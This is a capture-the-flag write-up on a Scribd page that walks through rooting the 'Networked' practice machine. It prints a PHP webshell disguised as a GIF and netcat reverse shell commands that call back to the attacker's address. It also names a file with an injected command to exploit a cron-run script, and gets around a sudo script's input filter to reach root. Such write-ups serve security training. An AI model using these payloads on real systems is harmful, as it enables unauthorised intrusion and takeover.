Scribd Logo
Upload

Welcome to Scribd!

  • 43 views

    Networked Writeup: Gobuster

    Uploaded by

    shiv
    The document summarizes gaining access to a vulnerable web server through various methods. An initial reverse shell is obtained by uploading a webshell in a disguised image file. This is used to find a PHP file that can be triggered to run commands as another user. A cron job is exploited to gain a user shell. Sudo privileges for that user allow running a script interactively, and passing a reverse shell script to the prompt grants root access. The root flag is then retrieved.

    Copyright:

    © All Rights Reserved
    Download as DOCX, PDF, TXT or read online from Scribd

    Networked Writeup: Gobuster

    Uploaded by

    shiv
    43 views8 pages
    The document summarizes gaining access to a vulnerable web server through various methods. An initial reverse shell is obtained by uploading a webshell in a disguised image file. This is used to find a PHP file that can be triggered to run commands as another user. A cron job is exploited to gain a user shell. Sudo privileges for that user allow running a script interactively, and passing a reverse shell script to the prompt grants root access. The root flag is then retrieved.

    Original Title

    Networked (1)

    Copyright

    © © All Rights Reserved

    Available Formats

    DOCX, PDF, TXT or read online from Scribd

    Did you find this document useful?

    Is this content inappropriate?

    The document summarizes gaining access to a vulnerable web server through various methods. An initial reverse shell is obtained by uploading a webshell in a disguised image file. This is used to find a PHP file that can be triggered to run commands as another user. A cron job is exploited to gain a user shell. Sudo privileges for that user allow running a script interactively, and passing a reverse shell script to the prompt grants root access. The root flag is then retrieved.

    Copyright:

    © All Rights Reserved
    Download as DOCX, PDF, TXT or read online from Scribd
    Download as docx, pdf, or txt
    43 views8 pages

    Networked Writeup: Gobuster

    Uploaded by

    shiv
    The document summarizes gaining access to a vulnerable web server through various methods. An initial reverse shell is obtained by uploading a webshell in a disguised image file. This is used to find a PHP file that can be triggered to run commands as another user. A cron job is exploited to gain a user shell. Sudo privileges for that user allow running a script interactively, and passing a reverse shell script to the prompt grants root access. The root flag is then retrieved.

    Copyright:

    © All Rights Reserved
    Download as DOCX, PDF, TXT or read online from Scribd
    Download as docx, pdf, or txt
    You are on page 1of 8

    Networked Writeup

    Nmap

    I've got two open port and one closed port. Obviously we'll start our enumeration with HTTP service.

    HTTP

    When we visit the IP in our browser we get a very simple web page with nothing fancy, just some text.

    So I ran gobuster on the website and found few directories.


    First I checked the /backup directory and it had a .tar file in there.

    That file had 4 files named

     lib.php
     index.php
     photos.php
     upload.php

    Now if we try to visit /upload.php on the website we get option to upload a file. I tried uploading
    a phpbash shell but got error about the Invalid image file.
    This is means we need to upload our shell in an image file so I made a file name shell.php.gif having
    the following content.
    GIF89a;
    <?php system($_GET['cmd']);?>

    Then uploaded it. This file can be found on /uploads + it is your IP address (with '.' replaced by '_')
    plus the extension.
    So my interface IP is 10.10.14.225 and the file I uploaded was shell.php.gif so my file will be found
    on /uploads/10_10_14_225.php.gif.
    Now we have the RCE, using that we can get a shell:

    ➜ http http://10.10.10.146/uploads/10_10_14_225.php.gif\?cmd\="nc -e /bin/sh 10.10.14.225 4444"


    I tried reading the user flag but got permission denied

    Horizontal privilege escalation

    In /home/guly I found a php file named check_attack.php


    <?php
    require '/var/www/html/lib.php';
    $path = '/var/www/html/uploads/';
    $logpath = '/tmp/attack.log';
    $to = 'guly';
    $msg= '';
    $headers = "X-Mailer: check_attack.php\r\n";

    $files = array();
    $files = preg_grep('/^([^.])/', scandir($path));

    foreach ($files as $key => $value) {


    $msg='';
    if ($value == 'index.html') {
    continue;
    }
    #echo "-------------\n";

    #print "check: $value\n";


    list ($name,$ext) = getnameCheck($value);
    $check = check_ip($name,$value);

    if (!($check[0])) {
    echo "attack!\n";
    # todo: attach file
    file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);

    exec("rm -f $logpath");
    exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
    echo "rm -f $path$value\n";
    mail($to, $msg, $msg, $headers, "-F$value");
    }
    }

    The vulnerability that we are going to use here is in exec("rm -f $logpath") Basically


    this check_attack.php is trying to remove the files in /var/www/html/uploads directory. So if we name
    file hello.php;ls it will run command as the user guly.
    so I did

    $ touch /"var/www/html/uploads/shell.php;nc -c bash 10.10.14.225 1337"

    Then start the listener and wait because the check_attack.php is ran by a cronjob. After few minutes I
    got the shell as user gully
    Now I can get the user hash.

    Lateral Privilege Escalation

    I ran sudo -l to see if this user have some sudo rights or not.

    We can see that guly can run /usr/local/sbin/changename.sh as root.


    Following is the content of that file

    #!/bin/bash -p
    cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
    DEVICE=guly0
    ONBOOT=no
    NM_CONTROLLED=no
    EoF

    regexp="^[a-zA-Z0-9_\ /-]+$"

    for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do


    echo "interface $var:"
    read x
    while [[ ! $x =~ $regexp ]]; do
    echo "wrong input, try again"
    echo "interface $var:"
    read x
    done
    echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
    done

    /sbin/ifup guly0

    Just run the script and focus on the out.

    It asks for inputs like name, interface etc. The important thing is that it takes input. So we can try
    something like ;nc -c /bin/sh 10.10.14.225 4444. But if we give that as input we'll get error saying wrong
    input cause there is regex in the source i.e regexp="^[a-zA-Z0-9_\ /-]+$" so we cannot use anything
    other then those chars.
    To bypass this I made a file called shell with the following data in it:
    $ echo "nc -e /bin/sh 10.10.14.225 4444" > shell
    $ chmod +x shell

    Then in place of NAME I ented bash /home/guly/shell and entered radnom things in other inputs and
    BOOM 💥💥💥
    This gives us a root reverse shell.

    Now we can grab the root flag.

    We are now successfully able to get the root access and the CTF flag.

    You might also like